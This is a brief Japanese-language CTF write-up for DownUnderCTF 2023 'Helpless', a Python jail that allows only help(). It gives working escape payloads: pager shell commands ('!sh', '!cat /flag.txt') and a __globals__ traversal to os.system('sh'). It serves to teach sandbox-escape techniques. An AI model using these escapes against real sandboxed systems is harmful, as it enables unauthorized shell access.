DownUnderCTF 2023 - Helpless

Challenge

help() のみが使える環境。

code = input()
exec(code, {'__builtins__': {'help': help}})

help()

対話モードに入った後、モジュール名を入力してドキュメントを表示:

help> os

長いヘルプテキストは pager (通常 less) で表示される。 less 内でシェルコマンドを実行:

!sh

または:

!cat /flag.txt

help> pdb

pdb のヘルプページから:

!import os; os.system('sh')

# help() は _Helper クラスのインスタンス
type(help)  # <class '_sitebuiltins._Helper'>

# 対話モード
help()  # 入力を待つ

# 直接ヘルプを表示
help(os)  # os のドキュメント

import os
os.environ['PAGER']  # デフォルトは 'less' や 'more'

help.__class__.__repr__.__globals__['sys'].modules['os'].system('sh')

help 内で license() 相当にアクセス:

help> license

DUCTF{...}